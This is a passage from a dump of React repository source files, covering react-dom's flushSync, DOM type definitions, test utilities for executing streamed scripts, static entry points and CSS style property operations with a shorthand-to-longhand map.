getValueDescriptorExpectingEnumForWarning(thing: any): string {\n  return thing === null\n    ? '`null`'\n    : thing === undefined\n      ? '`undefined`'\n      : thing === ''\n        ? 'an empty string'\n        : typeof thing === 'string'\n          ? JSON.stringify(thing)\n          : typeof thing === 'number'\n            ? '`' + thing + '`'\n            : `something with type \"${typeof thing}\"`;\n}\n"
  },
  {
    "path": "packages/react-dom/src/shared/ReactDOMFlushSync.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {disableLegacyMode} from 'shared/ReactFeatureFlags';\nimport {DiscreteEventPriority} from 'react-reconciler/src/ReactEventPriorities';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\ndeclare function flushSyncImpl<R>(fn: () => R): R;\ndeclare function flushSyncImpl(void): void;\nfunction flushSyncImpl<R>(fn: (() => R) | void): R | void {\n  const previousTransition = ReactSharedInternals.T;\n  const previousUpdatePriority =\n    ReactDOMSharedInternals.p; /* ReactDOMCurrentUpdatePriority */\n\n  try {\n    ReactSharedInternals.T = null;\n    ReactDOMSharedInternals.p /* ReactDOMCurrentUpdatePriority */ =\n      DiscreteEventPriority;\n    if (fn) {\n      return fn();\n    } else {\n      return undefined;\n    }\n  } finally {\n    ReactSharedInternals.T = previousTransition;\n    ReactDOMSharedInternals.p /* ReactDOMCurrentUpdatePriority */ =\n      previousUpdatePriority;\n    const wasInRender =\n      ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n        .f(); /* flushSyncWork */\n    if (__DEV__) {\n      if (wasInRender) {\n        console.error(\n          'flushSync was called from inside a lifecycle method. React cannot ' +\n            'flush when React is already rendering. Consider moving this call to ' +\n            'a scheduler task or micro task.',\n        );\n      }\n    }\n  }\n}\n\ndeclare function flushSyncErrorInBuildsThatSupportLegacyMode<R>(fn: () => R): R;\ndeclare function flushSyncErrorInBuildsThatSupportLegacyMode(void): void;\nfunction flushSyncErrorInBuildsThatSupportLegacyMode() {\n  // eslint-disable-next-line react-internal/prod-error-codes\n  throw new Error(\n    'Expected this build of React to not support legacy mode but it does. This is a bug in React.',\n  );\n}\n\nexport const flushSync: typeof flushSyncImpl = disableLegacyMode\n  ? flushSyncImpl\n  : flushSyncErrorInBuildsThatSupportLegacyMode;\n"
  },
  {
    "path": "packages/react-dom/src/shared/ReactDOMTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {CrossOriginString} from 'react-dom-bindings/src/shared/crossOriginStrings';\n\nexport type PrefetchDNSOptions = {};\nexport type PreconnectOptions = {crossOrigin?: string};\nexport type PreloadOptions = {\n  as: string,\n  crossOrigin?: string,\n  integrity?: string,\n  type?: string,\n  media?: string,\n  nonce?: string,\n  fetchPriority?: FetchPriorityEnum,\n  imageSrcSet?: string,\n  imageSizes?: string,\n  referrerPolicy?: string,\n};\nexport type PreloadModuleOptions = {\n  as?: string,\n  crossOrigin?: string,\n  integrity?: string,\n  nonce?: string,\n};\nexport type PreinitOptions = {\n  as: string,\n  precedence?: string,\n  crossOrigin?: string,\n  integrity?: string,\n  nonce?: string,\n  fetchPriority?: FetchPriorityEnum,\n};\nexport type PreinitModuleOptions = {\n  as?: string,\n  crossOrigin?: string,\n  integrity?: string,\n  nonce?: string,\n};\n\nexport type CrossOriginEnum = '' | 'use-credentials' | CrossOriginString;\nexport type FetchPriorityEnum = 'high' | 'low' | 'auto';\n\nexport type PreloadImplOptions = {\n  crossOrigin?: ?CrossOriginEnum,\n  integrity?: ?string,\n  nonce?: ?string,\n  type?: ?string,\n  fetchPriority?: ?string,\n  referrerPolicy?: ?string,\n  imageSrcSet?: ?string,\n  imageSizes?: ?string,\n  media?: ?string,\n};\nexport type PreloadModuleImplOptions = {\n  as?: ?string,\n  crossOrigin?: ?CrossOriginEnum,\n  integrity?: ?string,\n  nonce?: ?string,\n};\nexport type PreinitStyleOptions = {\n  crossOrigin?: ?CrossOriginEnum,\n  integrity?: ?string,\n  fetchPriority?: ?string,\n};\nexport type PreinitScriptOptions = {\n  crossOrigin?: ?CrossOriginEnum,\n  integrity?: ?string,\n  fetchPriority?: ?string,\n  nonce?: ?string,\n};\nexport type PreinitModuleScriptOptions = {\n  crossOrigin?: ?CrossOriginEnum,\n  integrity?: ?string,\n  nonce?: ?string,\n};\n\nexport type HostDispatcher = {\n  f /* flushSyncWork */: () => boolean | void,\n  r /* requestFormReset */: (form: HTMLFormElement) => void,\n  D /* prefetchDNS */: (href: string) => void,\n  C /* preconnect */: (href: string, crossOrigin?: ?CrossOriginEnum) => void,\n  L /* preload */: (\n    href: string,\n    as: string,\n    options?: ?PreloadImplOptions,\n  ) => void,\n  m /* preloadModule */: (\n    href: string,\n    options?: ?PreloadModuleImplOptions,\n  ) => void,\n  S /* preinitStyle */: (\n    href: string,\n    precedence: ?string,\n    options?: ?PreinitStyleOptions,\n  ) => void,\n  X /* preinitScript */: (src: string, options?: ?PreinitScriptOptions) => void,\n  M /* preinitModuleScript */: (\n    src: string,\n    options?: ?PreinitModuleScriptOptions,\n  ) => void,\n};\n\nexport type ImportMap = {\n  imports?: {\n    [specifier: string]: string,\n  },\n  scopes?: {\n    [scope: string]: {\n      [specifier: string]: string,\n    },\n  },\n};\n"
  },
  {
    "path": "packages/react-dom/src/shared/ensureCorrectIsomorphicReactVersion.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport reactDOMPackageVersion from 'shared/ReactVersion';\nimport * as IsomorphicReactPackage from 'react';\n\nexport function ensureCorrectIsomorphicReactVersion() {\n  const isomorphicReactPackageVersion = IsomorphicReactPackage.version;\n  if (isomorphicReactPackageVersion !== reactDOMPackageVersion) {\n    throw new Error(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages must ' +\n        'have the exact same version. Instead got:\\n' +\n        `  - react:      ${isomorphicReactPackageVersion}\\n` +\n        `  - react-dom:  ${reactDOMPackageVersion}\\n` +\n        'Learn more: https://react.dev/warnings/version-mismatch',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-dom/src/test-utils/FizzTestUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n'use strict';\n\nasync function insertNodesAndExecuteScripts(\n  source: Document | Element,\n  target: Node,\n  CSPnonce: string | null,\n) {\n  const ownerDocument = target.ownerDocument || target;\n\n  // We need to remove the script content for any scripts that would not run based on CSP\n  // We restore the script content after moving the nodes into the target\n  const badNonceScriptNodes: Map<Element, string> = new Map();\n  if (CSPnonce) {\n    const scripts = source.querySelectorAll('script');\n    for (let i = 0; i < scripts.length; i++) {\n      const script = scripts[i];\n      if (\n        !script.hasAttribute('src') &&\n        script.getAttribute('nonce') !== CSPnonce\n      ) {\n        badNonceScriptNodes.set(script, script.textContent);\n        script.textContent = '';\n      }\n    }\n  }\n  let lastChild = null;\n  while (source.firstChild) {\n    const node = source.firstChild;\n    if (lastChild === node) {\n      throw new Error('Infinite loop.');\n    }\n    lastChild = node;\n\n    if (node.nodeType === 1) {\n      const element: Element = (node: any);\n      if (\n        // $FlowFixMe[prop-missing]\n        element.dataset != null &&\n        (element.dataset.rxi != null ||\n          element.dataset.rri != null ||\n          element.dataset.rci != null ||\n          element.dataset.rsi != null)\n      ) {\n        // Fizz external runtime instructions are expected to be in the body.\n        // When we have renderIntoContainer and renderDocument this will be\n        // more enforceable. At the moment you can misconfigure your stream and end up\n        // with instructions that are deep in the document\n        (ownerDocument.body: any).appendChild(element);\n      } else {\n        target.appendChild(element);\n\n        if (element.nodeName === 'SCRIPT') {\n          await executeScript(element);\n        } else {\n          const scripts = element.querySelectorAll('script');\n          for (let i = 0; i < scripts.length; i++) {\n            const script = scripts[i];\n            await executeScript(script);\n          }\n        }\n      }\n    } else {\n      target.appendChild(node);\n    }\n  }\n\n  // restore the textContent now that we have finished attempting to execute scripts\n  badNonceScriptNodes.forEach((scriptContent, script) => {\n    script.textContent = scriptContent;\n  });\n}\n\nasync function executeScript(script: Element) {\n  const ownerDocument = script.ownerDocument;\n  if (script.parentNode == null) {\n    throw new Error(\n      'executeScript expects to be called on script nodes that are currently in a document',\n    );\n  }\n  const parent = script.parentNode;\n  const scriptSrc = script.getAttribute('src');\n  if (scriptSrc) {\n    if (document !== ownerDocument) {\n      throw new Error(\n        'You must set the current document to the global document to use script src in tests',\n      );\n    }\n\n    try {\n      // $FlowFixMe\n      require(scriptSrc);\n    } catch (x) {\n      const event = new window.ErrorEvent('error', {error: x});\n      window.dispatchEvent(event);\n    }\n  } else {\n    const newScript = ownerDocument.createElement('script');\n    newScript.textContent = script.textContent;\n    // make sure to add nonce back to script if it exists\n    for (let i = 0; i < script.attributes.length; i++) {\n      const attribute = script.attributes[i];\n      newScript.setAttribute(attribute.name, attribute.value);\n    }\n\n    parent.insertBefore(newScript, script);\n    parent.removeChild(script);\n  }\n}\n\nfunction mergeOptions(options: Object, defaultOptions: Object): Object {\n  return {\n    ...defaultOptions,\n    ...options,\n  };\n}\n\nfunction stripExternalRuntimeInNodes(\n  nodes: HTMLElement[] | HTMLCollection<HTMLElement>,\n  externalRuntimeSrc: string | null,\n): HTMLElement[] {\n  if (!Array.isArray(nodes)) {\n    nodes = Array.from(nodes);\n  }\n  if (externalRuntimeSrc == null) {\n    return nodes;\n  }\n  return nodes.filter(\n    n =>\n      (n.tagName !== 'SCRIPT' && n.tagName !== 'script') ||\n      n.getAttribute('src') !== externalRuntimeSrc,\n  );\n}\n\nfunction getVisibleChildren(element: Element): React$Node {\n  const children = [];\n  let node: any = element.firstChild;\n  while (node) {\n    if (node.nodeType === 1) {\n      if (\n        ((node.tagName !== 'SCRIPT' && node.tagName !== 'script') ||\n          node.hasAttribute('data-meaningful')) &&\n        node.tagName !== 'TEMPLATE' &&\n        node.tagName !== 'template' &&\n        !node.hasAttribute('hidden') &&\n        !node.hasAttribute('aria-hidden') &&\n        // Ignore the render blocking expect\n        (node.getAttribute('rel') !== 'expect' ||\n          node.getAttribute('blocking') !== 'render')\n      ) {\n        const props: any = {};\n        const attributes = node.attributes;\n        for (let i = 0; i < attributes.length; i++) {\n          if (\n            attributes[i].name === 'id' &&\n            attributes[i].value.includes(':')\n          ) {\n            // We assume this is a React added ID that's a non-visual implementation detail.\n            continue;\n          }\n          props[attributes[i].name] = attributes[i].value;\n        }\n        const nestedChildren = getVisibleChildren(node);\n        if (nestedChildren !== undefined) {\n          props.children = nestedChildren;\n        }\n        children.push(\n          require('react').createElement(node.tagName.toLowerCase(), props),\n        );\n      }\n    } else if (node.nodeType === 3) {\n      children.push(node.data);\n    }\n    node = node.nextSibling;\n  }\n  return children.length === 0\n    ? undefined\n    : children.length === 1\n      ? children[0]\n      : children;\n}\n\nexport {\n  insertNodesAndExecuteScripts,\n  mergeOptions,\n  stripExternalRuntimeInNodes,\n  getVisibleChildren,\n};\n"
  },
  {
    "path": "packages/react-dom/src/test-utils/ReactTestUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noflow\n */\n\nimport * as React from 'react';\n\nlet didWarnAboutUsingAct = false;\nexport function act(callback) {\n  if (didWarnAboutUsingAct === false) {\n    didWarnAboutUsingAct = true;\n    console.error(\n      '`ReactDOMTestUtils.act` is deprecated in favor of `React.act`. ' +\n        'Import `act` from `react` instead of `react-dom/test-utils`. ' +\n        'See https://react.dev/warnings/react-dom-test-utils for more info.',\n    );\n  }\n  return React.act(callback);\n}\n"
  },
  {
    "path": "packages/react-dom/static.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  prerender,\n  resumeAndPrerender,\n  version,\n} from './src/server/react-dom-server.browser';\n"
  },
  {
    "path": "packages/react-dom/static.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  prerender,\n  resumeAndPrerender,\n  version,\n} from './src/server/react-dom-server.edge';\n"
  },
  {
    "path": "packages/react-dom/static.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './static.node';\n"
  },
  {
    "path": "packages/react-dom/static.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// This file is only used for tests.\n// It lazily loads the implementation so that we get the correct set of host configs.\n\nimport ReactVersion from 'shared/ReactVersion';\nexport {ReactVersion as version};\n\nexport function prerenderToNodeStream() {\n  return require('./src/server/react-dom-server.node').prerenderToNodeStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function prerender() {\n  return require('./src/server/react-dom-server.node').prerender.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resumeAndPrerenderToNodeStream() {\n  return require('./src/server/react-dom-server.node').resumeAndPrerenderToNodeStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resumeAndPrerender() {\n  return require('./src/server/react-dom-server.node').resumeAndPrerender.apply(\n    this,\n    arguments,\n  );\n}\n"
  },
  {
    "path": "packages/react-dom/test-utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/test-utils/ReactTestUtils';\n"
  },
  {
    "path": "packages/react-dom/unstable_server-external-runtime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from 'react-dom-bindings/src/server/ReactDOMServerExternalRuntime';\n"
  },
  {
    "path": "packages/react-dom/unstable_testing.experimental.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './client.js';\n\nexport {\n  createComponentSelector,\n  createHasPseudoClassSelector,\n  createRoleSelector,\n  createTestNameSelector,\n  createTextSelector,\n  getFindAllNodesFailureDescription,\n  findAllNodes,\n  findBoundingRects,\n  focusWithin,\n  observeVisibleRects,\n} from 'react-reconciler/src/ReactFiberReconciler';\n"
  },
  {
    "path": "packages/react-dom/unstable_testing.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './client.js';\n"
  },
  {
    "path": "packages/react-dom-bindings/package.json",
    "content": "{\n  \"name\": \"react-dom-bindings\",\n  \"description\": \"React implementation details for react-dom.\",\n  \"version\": \"19.3.0\",\n  \"private\": true,\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-dom-bindings\"\n  },\n  \"keywords\": [\n    \"react\"\n  ],\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"peerDependencies\": {\n    \"react\": \"^19.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/CSSPropertyOperations.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {shorthandToLonghand} from './CSSShorthandProperty';\n\nimport hyphenateStyleName from '../shared/hyphenateStyleName';\nimport warnValidStyle from '../shared/warnValidStyle';\nimport isUnitlessNumber from '../shared/isUnitlessNumber';\nimport {checkCSSPropertyStringCoercion} from 'shared/CheckStringCoercion';\nimport {trackHostMutation} from 'react-reconciler/src/ReactFiberMutationTracking';\n\n/**\n * Operations for dealing with CSS properties.\n */\n\n/**\n * This creates a string that is expected to be equivalent to the style\n * attribute generated by server-side rendering. It by-passes warnings and\n * security checks so it's not safe to use this value for anything other than\n * comparison. It is only used in DEV for SSR validation.\n */\nexport function createDangerousStringForStyles(styles) {\n  if (__DEV__) {\n    let serialized = '';\n    let delimiter = '';\n    for (const styleName in styles) {\n      if (!styles.hasOwnProperty(styleName)) {\n        continue;\n      }\n      const value = styles[styleName];\n      if (value != null && typeof value !== 'boolean' && value !== '') {\n        const isCustomProperty = styleName.indexOf('--') === 0;\n        if (isCustomProperty) {\n          if (__DEV__) {\n            checkCSSPropertyStringCoercion(value, styleName);\n          }\n          serialized += delimiter + styleName + ':' + ('' + value).trim();\n        } else {\n          if (\n            typeof value === 'number' &&\n            value !== 0 &&\n            !isUnitlessNumber(styleName)\n          ) {\n            serialized +=\n              delimiter + hyphenateStyleName(styleName) + ':' + value + 'px';\n          } else {\n            if (__DEV__) {\n              checkCSSPropertyStringCoercion(value, styleName);\n            }\n            serialized +=\n              delimiter +\n              hyphenateStyleName(styleName) +\n              ':' +\n              ('' + value).trim();\n          }\n        }\n        delimiter = ';';\n      }\n    }\n    return serialized || null;\n  }\n}\n\nfunction setValueForStyle(style, styleName, value) {\n  const isCustomProperty = styleName.indexOf('--') === 0;\n  if (__DEV__) {\n    if (!isCustomProperty) {\n      warnValidStyle(styleName, value);\n    }\n  }\n\n  if (value == null || typeof value === 'boolean' || value === '') {\n    if (isCustomProperty) {\n      style.setProperty(styleName, '');\n    } else if (styleName === 'float') {\n      style.cssFloat = '';\n    } else {\n      style[styleName] = '';\n    }\n  } else if (isCustomProperty) {\n    style.setProperty(styleName, value);\n  } else if (\n    typeof value === 'number' &&\n    value !== 0 &&\n    !isUnitlessNumber(styleName)\n  ) {\n    style[styleName] = value + 'px'; // Presumes implicit 'px' suffix for unitless numbers\n  } else {\n    if (styleName === 'float') {\n      style.cssFloat = value;\n    } else {\n      if (__DEV__) {\n        checkCSSPropertyStringCoercion(value, styleName);\n      }\n      style[styleName] = ('' + value).trim();\n    }\n  }\n}\n\n/**\n * Sets the value for multiple styles on a node.  If a value is specified as\n * '' (empty string), the corresponding style property will be unset.\n *\n * @param {DOMElement} node\n * @param {object} styles\n */\nexport function setValueForStyles(node, styles, prevStyles) {\n  if (styles != null && typeof styles !== 'object') {\n    throw new Error(\n      'The `style` prop expects a mapping from style properties to values, ' +\n        \"not a string. For example, style={{marginRight: spacing + 'em'}} when \" +\n        'using JSX.',\n    );\n  }\n  if (__DEV__) {\n    if (styles) {\n      // Freeze the next style object so that we can assume it won't be\n      // mutated. We have already warned for this in the past.\n      Object.freeze(styles);\n    }\n  }\n\n  const style = node.style;\n\n  if (prevStyles != null) {\n    if (__DEV__) {\n      validateShorthandPropertyCollisionInDev(prevStyles, styles);\n    }\n\n    for (const styleName in prevStyles) {\n      if (\n        prevStyles.hasOwnProperty(styleName) &&\n        (styles == null || !styles.hasOwnProperty(styleName))\n      ) {\n        // Clear style\n        const isCustomProperty = styleName.indexOf('--') === 0;\n        if (isCustomProperty) {\n          style.setProperty(styleName, '');\n        } else if (styleName === 'float') {\n          style.cssFloat = '';\n        } else {\n          style[styleName] = '';\n        }\n        trackHostMutation();\n      }\n    }\n    for (const styleName in styles) {\n      const value = styles[styleName];\n      if (styles.hasOwnProperty(styleName) && prevStyles[styleName] !== value) {\n        setValueForStyle(style, styleName, value);\n        trackHostMutation();\n      }\n    }\n  } else {\n    for (const styleName in styles) {\n      if (styles.hasOwnProperty(styleName)) {\n        const value = styles[styleName];\n        setValueForStyle(style, styleName, value);\n      }\n    }\n  }\n}\n\nfunction isValueEmpty(value) {\n  return value == null || typeof value === 'boolean' || value === '';\n}\n\n/**\n * Given {color: 'red', overflow: 'hidden'} returns {\n *   color: 'color',\n *   overflowX: 'overflow',\n *   overflowY: 'overflow',\n * }. This can be read as \"the overflowY property was set by the overflow\n * shorthand\". That is, the values are the property that each was derived from.\n */\nfunction expandShorthandMap(styles) {\n  const expanded = {};\n  for (const key in styles) {\n    const longhands = shorthandToLonghand[key] || [key];\n    for (let i = 0; i < longhands.length; i++) {\n      expanded[longhands[i]] = key;\n    }\n  }\n  return expanded;\n}\n\n/**\n * When mixing shorthand and longhand property names, we warn during updates if\n * we expect an incorrect result to occur. In particular, we warn for:\n *\n * Updating a shorthand property (longhand gets overwritten):\n *   {font: 'foo', fontVariant: 'bar'} -> {font: 'baz', fontVariant: 'bar'}\n *   becomes .style.font = 'baz'\n * Removing a shorthand property (longhand gets lost too):\n *   {font: 'foo', fontVariant: 'bar'} -> {fontVariant: 'bar'}\n *   becomes .style.font = ''\n * Removing a longhand property (should revert to shorthand; doesn't):\n *   {font: 'foo', fontVariant: 'bar'} -> {font: 'foo'}\n *   becomes .style.fontVariant = ''\n */\nfunction validateShorthandPropertyCollisionInDev(prevStyles, nextStyles) {\n  if (__DEV__) {\n    if (!nextStyles) {\n      return;\n    }\n\n    // Compute the diff as it would happen elsewhere.\n    const expandedUpdates = {};\n    if (prevStyles) {\n      for (const key in prevStyles) {\n        if (prevStyles.hasOwnProperty(key) && !nextStyles.hasOwnProperty(key)) {\n          const longhands = shorthandToLonghand[key] || [key];\n          for (let i = 0; i < longhands.length; i++) {\n            expandedUpdates[longhands[i]] = key;\n          }\n        }\n      }\n    }\n    for (const key in nextStyles) {\n      if (\n        nextStyles.hasOwnProperty(key) &&\n        (!prevStyles || prevStyles[key] !== nextStyles[key])\n      ) {\n        const longhands = shorthandToLonghand[key] || [key];\n        for (let i = 0; i < longhands.length; i++) {\n          expandedUpdates[longhands[i]] = key;\n        }\n      }\n    }\n\n    const expandedStyles = expandShorthandMap(nextStyles);\n    const warnedAbout = {};\n    for (const key in expandedUpdates) {\n      const originalKey = expandedUpdates[key];\n      const correctOriginalKey = expandedStyles[key];\n      if (correctOriginalKey && originalKey !== correctOriginalKey) {\n        const warningKey = originalKey + ',' + correctOriginalKey;\n        if (warnedAbout[warningKey]) {\n          continue;\n        }\n        warnedAbout[warningKey] = true;\n        console.error(\n          '%s a style property during rerender (%s) when a ' +\n            'conflicting property is set (%s) can lead to styling bugs. To ' +\n            \"avoid this, don't mix shorthand and non-shorthand properties \" +\n            'for the same value; instead, replace the shorthand with ' +\n            'separate values.',\n          isValueEmpty(nextStyles[originalKey]) ? 'Removing' : 'Updating',\n          originalKey,\n          correctOriginalKey,\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/client/CSSShorthandProperty.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// List derived from Firefox source code:\n// https://github.com/mozilla-firefox/firefox/blob/58f365ba0eb5761a182f1925e4654cc75212b8ac/layout/style/test/property_database.js\nexport const shorthandToLonghand = {\n  animation: [\n    'animationDelay',\n    'animationDirection',\n    'animationDuration',\n    'animationFillMode',\n    'animationIterationCount',\n    'animationName',\n    'animationPlayState',\n    'animationTimingFunction',\n  ],\n  background: [\n    'backgroundAttachment',\n    'backgroundClip',\n    'backgroundColor',\n    'backgroundImage',\n    'backgroundOrigin',\n    'backgroundPositionX',\n    'backgroundPositionY',\n    'backgroundRepeat',\n    'backgroundSize',\n  ],\n  backgroundPosition: ['backgroundPositionX', 'backgroundPositionY'],\n  border: [\n    'borderBottomColor',\n    'borderBottomStyle',\n    'borderBottomWidth',\n    'borderImageOutset',\n    'borderImageRepeat',\n    'borderImageSlice',\n    'borderImageSource',\n    'borderImageWidth',\n    'borderLeftColor',\n    'borderLeftStyle',\n    'borderLeftWidth',\n    'borderRightColor',\n    'borderRightStyle',\n    'borderRightWidth',\n    'borderTopColor',\n    'borderTopStyle',\n    'borderTopWidth',\n  ],\n  borderBlock: [\n    'borderBlockEndColor',\n    'borderBlockEndStyle',\n    'borderBlockEndWidth',\n    'borderBlockStartColor',\n    'borderBlockStartStyle',\n    'borderBlockStartWidth',\n  ],\n  borderBlockColor: ['borderBlockEndColor', 'borderBlockStartColor'],\n  borderBlockEnd: [\n    'borderBlockEndColor',\n    'borderBlockEndStyle',\n    'borderBlockEndWidth',\n  ],\n  borderBlockStart: [\n    'borderBlockStartColor',\n    'borderBlockStartStyle',\n    'borderBlockStartWidth',\n  ],\n  borderBlockStyle: ['borderBlockEndStyle', 'borderBlockStartStyle'],\n  borderBlockWidth: ['borderBlockEndWidth', 'borderBlockStartWidth'],\n  borderBottom: ['borderBottomColor', 'borderBottomStyle', 'borderBottomWidth'],\n  borderColor: [\n    'borderBottomColor',\n    'borderLeftColor',\n    'borderRightColor',\n    'borderTopColor',\n  ],\n  borderImage: [\n    'borderImageOutset',\n    'borderImageRepeat',\n    'borderImageSlice',\n    'borderImageSource',\n    'borderImageWidth',\n  ],\n  borderInline: [\n    'borderInlineEndColor',\n    'borderInlineEndStyle',\n    'borderInlineEndWidth',\n    'borderInlineStartColor',\n    'borderInlineStartStyle',\n    'borderInlineStartWidth',\n  ],\n  borderInlineColor: ['borderInlineEndColor', 'borderInlineStartColor'],\n  borderInlineEnd: [\n    'borderInlineEndColor',\n    'borderInlineEndStyle',\n    'borderInlineEndWidth',\n  ],\n  borderInlineStart: [\n    'borderInlineStartColor',\n    'borderInlineStartStyle',\n    'borderInlineStartWidth',\n  ],\n  borderInlineStyle: ['borderInlineEndStyle', 'borderInlineStartStyle'],\n  borderInlineWidth: ['borderInlineEndWidth', 'borderInlineStartWidth'],\n  borderLeft: ['borderLeftColor', 'borderLeftStyle', 'borderLeftWidth'],\n  borderRadius: [\n    'borderBottomLeftRadius',\n    'borderBottomRightRadius',\n    'borderTopLeftRadius',\n    'borderTopRightRadius',\n  ],\n  borderRight: ['borderRightColor', 'borderRightStyle', 'borderRightWidth'],\n  borderStyle: [\n    'borderBottomStyle',\n    'borderLeftStyle',\n    'borderRightStyle',\n    'borderTopStyle',\n  ],\n  borderTop: ['borderTopColor', 'borderTopStyle', 'borderTopWidth'],\n  borderWidth: [\n    'borderBottomWidth',\n    'borderLeftWidth',\n    'borderRightWidth',\n    'borderTopWidth',\n  ],\n  colorAdjust: ['printColorAdjust'],\n  columnRule: ['columnRuleColor', 'columnRuleStyle', 'columnRuleWidth'],\n  columns: ['columnCount', 'columnWidth'],\n  containIntrinsicSize: ['containIntrinsicHeight', 'containIntrinsicWidth'],\n  container: ['containerName', 'containerType'],\n  flex: ['flexBasis', 'flexGrow', 'flexShrink'],\n  flexFlow: ['flexDirection', 'flexWrap'],\n  font: [\n    'fontFamily',\n    'fontFeatureSettings',\n    'fontKerning',\n    'fontLanguageOverride',\n    'fontSize',\n    'fontSizeAdjust',\n    'fontStretch',\n    'fontStyle',\n    'fontVariant',\n    'fontVariantAlternates',\n    'fontVariantCaps',\n    'fontVariantEastAsian',\n    'fontVariantLigatures',\n    'fontVariantNumeric',\n    'fontVariantPosition',\n    'fontWeight',\n    'lineHeight',\n  ],\n  fontSynthesis: [\n    'fontSynthesisPosition',\n    'fontSynthesisSmallCaps',\n    'fontSynthesisStyle',\n    'fontSynthesisWeight',\n  ],\n  fontVariant: [\n    'fontVariantAlternates',\n    'fontVariantCaps',\n    'fontVariantEastAsian',\n    'fontVariantLigatures',\n    'fontVariantNumeric',\n    'fontVariantPosition',\n  ],\n  gap: ['columnGap', 'rowGap'],\n  grid: [\n    'gridAutoColumns',\n    'gridAutoFlow',\n    'gridAutoRows',\n    'gridTemplateAreas',\n    'gridTemplateColumns',\n    'gridTemplateRows',\n  ],\n  gridArea: ['gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart'],\n  gridColumn: ['gridColumnEnd', 'gridColumnStart'],\n  gridColumnGap: ['columnGap'],\n  gridGap: ['columnGap', 'rowGap'],\n  gridRow: ['gridRowEnd', 'gridRowStart'],\n  gridRowGap: ['rowGap'],\n  gridTemplate: [\n    'gridTemplateAreas',\n    'gridTemplateColumns',\n    'gridTemplateRows',\n  ],\n  inset: ['bottom', 'left', 'right', 'top'],\n  insetBlock: ['insetBlockEnd', 'insetBlockStart'],\n  insetInline: ['insetInlineEnd', 'insetInlineStart'],\n  listStyle: ['listStyleImage', 'listStylePosition', 'listStyleType'],\n  margin: ['marginBottom', 'marginLeft', 'marginRight', 'marginTop'],\n  marginBlock: ['marginBlockEnd', 'marginBlockStart'],\n  marginInline: ['marginInlineEnd', 'marginInlineStart'],\n  marker: ['markerEnd', 'markerMid', 'markerStart'],\n  mask: [\n    'maskClip',\n    'maskComposite',\n    'maskImage',\n    'maskMode',\n    'maskOrigin',\n    'maskPositionX',\n    'maskPositionY',\n    'maskRepeat',\n    'maskSize',\n  ],\n  maskPosition: ['maskPositionX', 'maskPositionY'],\n  offset: [\n    'offsetAnchor',\n    'offsetDistance',\n    'offsetPath',\n    'offsetPosition',\n    'offsetRotate',\n  ],\n  outline: ['outlineColor', 'outlineStyle', 'outlineWidth'],\n  overflow: ['overflowX', 'overflowY'],\n  overscrollBehavior: ['overscrollBehaviorX', 'overscrollBehaviorY'],\n  